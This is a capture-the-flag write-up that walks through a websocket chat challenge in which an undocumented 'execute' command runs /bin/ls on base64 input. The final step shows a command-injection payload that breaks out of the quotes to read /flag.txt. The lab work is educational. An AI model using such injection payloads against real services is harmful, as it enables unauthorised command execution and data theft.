Advent of CTF - Challenge 23
“IRC”
Challenge
This challenge centers on the websocket
technology. It is commonly used in chat systems and often requires that a programmer implements their own security.
What you will learn:
- How to identify websockets
- How to send your own messages
Solution ATTACH
The challenge starts in a very unusual state; a blank screen with a send
button.

You can send any type of textual message. In the DevTools, under network, there is an odd status response; 101
. This means that a protocol switch was done. This request is no longer talking HTTP
, but something else.
In the Response
tab of the network entry the messages that are sent back and forth can be observed.

In the page source code it is clear that socket.io
is used. The javascript can not be directly used in the DevTools, but copying the relevant parts from the index
page to the console allows you to play with it from a Javascript environment.
While doing so you will notice this fragment. It shows that if the msg
has a property called code
it will do something different.
if (msg.command === "code") { $('#messages').append($('<li>').html("<pre>" + msg.message + "</pre>")); } else { $('#messages').append($('<li>').text(msg.message)); }
Taking the plan from before; copy the socket
creationg and the socket.on
to the Javascript console.
var socket = io(); socket.on('chat message', function(msg){ console.log(msg.command); if (msg.command === "code") { $('#messages').append($('<li>').html("<pre>" + msg.message + "</pre>")); } else { $('#messages').append($('<li>').text(msg.message)); } window.scrollTo(0, document.body.scrollHeight); });
The socket.emit
can now be utilized to send messages to the chat application. This happens in a different request then the one of the first load, but due to our logic the output is still visible in the screen.
socket.emit('chat message', {message: "Hello from console"});

As it became clear that there is a command
property that can be set, lets add that to the message.
socket.emit('chat message', {command: "code", message: "Hello from console"});
It stands to reason that there are other command
options as well, given the hint in the code. After a few attempts you will probably ask for help
.
socket.emit('chat message', {command: "help", message: "Hello from console"});
The response is indeed very helpful; it lists the accepted command types.
Allowed message types are: help, execute and empty
The execute
type stands out, so lets give that a try. As a message
payload anything can be used at this point.
socket.emit('chat message', {command:"execute", message: "something"});
The result is somewhat surprising. It says that it encountered Invalid Base64
.
Invalid BASE64
After a few experiments it is clear that the message needs to be a valid Base64 payload. In javascript this is done through btoa()
.
socket.emit('chat message', {command:"execute", message: btoa("something")});
The result gives a clear path to victory! A command is executed with the payload; ls 'something'
. Obviously something
does not exist, but it does provide a mechanism to get the flag.
ERR: Error: Command failed: /bin/ls 'something' ls: something: No such file or directory
From here on in it becomes a standard command injection. From the tests it is clear the application does something like ls 'USERINPUT'
. So the '
has to be escaped and then a new command can be entered, that reuses the '
at the end.
socket.emit('chat message', {command:"execute", message: btoa(".';cat '/flag.txt")});
After grabbing the points be sure to also grab the badge.

Go back to the homepage.